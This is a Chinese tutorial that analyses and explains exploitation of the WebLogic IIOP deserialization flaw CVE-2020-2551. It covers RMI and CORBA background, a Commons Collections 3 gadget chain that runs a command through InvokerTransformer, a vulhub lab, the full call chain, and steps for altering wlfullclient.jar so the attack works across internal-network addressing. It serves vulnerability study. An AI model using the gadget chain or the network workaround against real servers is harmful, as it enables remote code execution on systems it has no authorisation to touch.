从0学习WebLogic CVE-2020-2551漏洞
字数 1335 2025-08-25 22:58:40

WebLogic CVE-2020-2551漏洞深度分析与利用指南

0X00 漏洞利用基础学习

CORBA体系结构

CORBA(Common Object Request Broker Architecture)公共对象请求代理体系结构定义了分布式对象通信的标准框架,包含三个核心组件:

  • Naming Service:类似书籍目录,提供对象定位服务
  • Client Side:客户端,发起请求
  • Servant Side:服务端,提供对象实现

关键概念解析

  1. Stub(存根)和Skeleton(骨架)

    • Stub:客户端代理,负责将调用转发给远程对象
    • Skeleton:服务端代理,负责接收请求并调用实际对象方法
  2. GIOP & IIOP

    • GIOP:通用对象请求协议,CORBA通信标准
    • IIOP:基于TCP/IP的GIOP实现,CVE-2020-2551利用的核心协议
  3. JNDI(Java Naming and Directory Interface)

    • Java命名和目录接口,提供统一的对象查找机制
    • 在CORBA中扮演Naming Service角色
  4. LDAP

    • 轻型目录访问协议,用于访问目录数据库
    • 常与RMI结合用于攻击
  5. RMI(Remote Method Invocation)

    • Java远程方法调用,Java的RPC实现
    • 底层使用JRMP协议通信
  6. JRMP

    • Java远程方法协议,RMI专用通信协议
    • 负责序列化数据的传输

RMI反序列化原理

RMI通信中客户端和服务端通过代理(Stub/Skeleton)交互,数据通过序列化传输。攻击者可以构造恶意序列化数据,利用服务端或客户端存在的漏洞库实现攻击。

RMI简单Demo

  1. 定义远程接口
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface InterfaceQing extends Remote{
    public String RmiDemo() throws RemoteException;
}
  1. 接口实现类
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import Remote.InterfaceQing;

public class RemoteQing extends UnicastRemoteObject implements InterfaceQing {
    protected RemoteQing() throws RemoteException{
        super();
    }
    @Override
    public String RmiDemo() throws RemoteException {
        System.out.println("RmiDemo..");
        return "Here is RmiDemo";
    }
}
  1. 服务端类
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import Remote.InterfaceQing;

public class ServerDemo {
    public static void main(String[] args) {
        try {
            InterfaceQing remoteQing = new RemoteQing();
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            registry.bind("Test", remoteQing);
            System.out.println("Server is ok");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 客户端类
import Remote.InterfaceQing;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ClientDemo {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("localhost");
            InterfaceQing remoteQing = (InterfaceQing)registry.lookup("Test");
            String returnStr = remoteQing.RmiDemo();
            System.out.println(returnStr);
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

RMI反序列化漏洞攻击Demo(Apache Commons Collections 3)

利用InvokerTransformer#transform方法通过反射执行任意方法:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;

public class TransformVul {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class},
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("name", "hello");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next();
        elEntry.setValue("hello");
    }
}

0x01 CVE-2020-2551漏洞分析

漏洞环境搭建

使用vulhub提供的Docker环境:

version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"
    - "8453:8453"

漏洞触发点分析

漏洞核心触发点在weblogic.corba.utils.ValueHandlerImpl#readValueData方法:

private static void readValueData(IIOPInputStream var0, Object var1, ObjectStreamClass var2) 
    throws IOException, ClassNotFoundException {
    if (var2.getSuperclass() != null) {
        // ...
        ObjectInputStream var6 = var0.getObjectInputStream(var1, var2, var3, var4);
        var2.readObject(var1, var6); // 反序列化触发点
        var6.close();
        if (var5) {
            var0.end_value();
        }
    }
}

完整调用链

lookup:417, InitialContext (javax.naming)
doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)
execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke:-1, GeneratedMethodAccessor30 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:263, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

CVE-2020-2551的网络问题解决方案

实际环境中WebLogic通常位于内网,返回的NameService地址为内网IP导致攻击失败。解决方法:

  1. 重写IIOP协议
    修改wlfullclient.jar中的weblogic.iiop.IOPProfile.class文件,修改返回地址处理逻辑

  2. 具体修改步骤

    • 反编译class文件获取源码
    • 修改地址处理逻辑
    • 重新编译为class文件
    • 替换原始jar包中的class文件

参考资料

  1. Y4er的CVE-2020-2551 PoC
  2. 解决WebLogic CVE-2020-2551 POC网络问题
  3. WebLogic CVE-2020-2551分析
  4. ysoserial CommonsCollections3
  5. CVE-2017-3241技术文档
WebLogic CVE-2020-2551漏洞深度分析与利用指南 0X00 漏洞利用基础学习 CORBA体系结构 CORBA(Common Object Request Broker Architecture)公共对象请求代理体系结构定义了分布式对象通信的标准框架,包含三个核心组件: Naming Service :类似书籍目录,提供对象定位服务 Client Side :客户端,发起请求 Servant Side :服务端,提供对象实现 关键概念解析 Stub(存根)和Skeleton(骨架) : Stub:客户端代理,负责将调用转发给远程对象 Skeleton:服务端代理,负责接收请求并调用实际对象方法 GIOP & IIOP : GIOP:通用对象请求协议,CORBA通信标准 IIOP:基于TCP/IP的GIOP实现,CVE-2020-2551利用的核心协议 JNDI(Java Naming and Directory Interface) : Java命名和目录接口,提供统一的对象查找机制 在CORBA中扮演Naming Service角色 LDAP : 轻型目录访问协议,用于访问目录数据库 常与RMI结合用于攻击 RMI(Remote Method Invocation) : Java远程方法调用,Java的RPC实现 底层使用JRMP协议通信 JRMP : Java远程方法协议,RMI专用通信协议 负责序列化数据的传输 RMI反序列化原理 RMI通信中客户端和服务端通过代理(Stub/Skeleton)交互,数据通过序列化传输。攻击者可以构造恶意序列化数据,利用服务端或客户端存在的漏洞库实现攻击。 RMI简单Demo 定义远程接口 : 接口实现类 : 服务端类 : 客户端类 : RMI反序列化漏洞攻击Demo(Apache Commons Collections 3) 利用 InvokerTransformer#transform 方法通过反射执行任意方法: 0x01 CVE-2020-2551漏洞分析 漏洞环境搭建 使用vulhub提供的Docker环境: 漏洞触发点分析 漏洞核心触发点在 weblogic.corba.utils.ValueHandlerImpl#readValueData 方法: 完整调用链 CVE-2020-2551的网络问题解决方案 实际环境中WebLogic通常位于内网,返回的NameService地址为内网IP导致攻击失败。解决方法: 重写IIOP协议 : 修改 wlfullclient.jar 中的 weblogic.iiop.IOPProfile.class 文件,修改返回地址处理逻辑 具体修改步骤 : 反编译class文件获取源码 修改地址处理逻辑 重新编译为class文件 替换原始jar包中的class文件 参考资料 Y4er的CVE-2020-2551 PoC 解决WebLogic CVE-2020-2551 POC网络问题 WebLogic CVE-2020-2551分析 ysoserial CommonsCollections3 CVE-2017-3241技术文档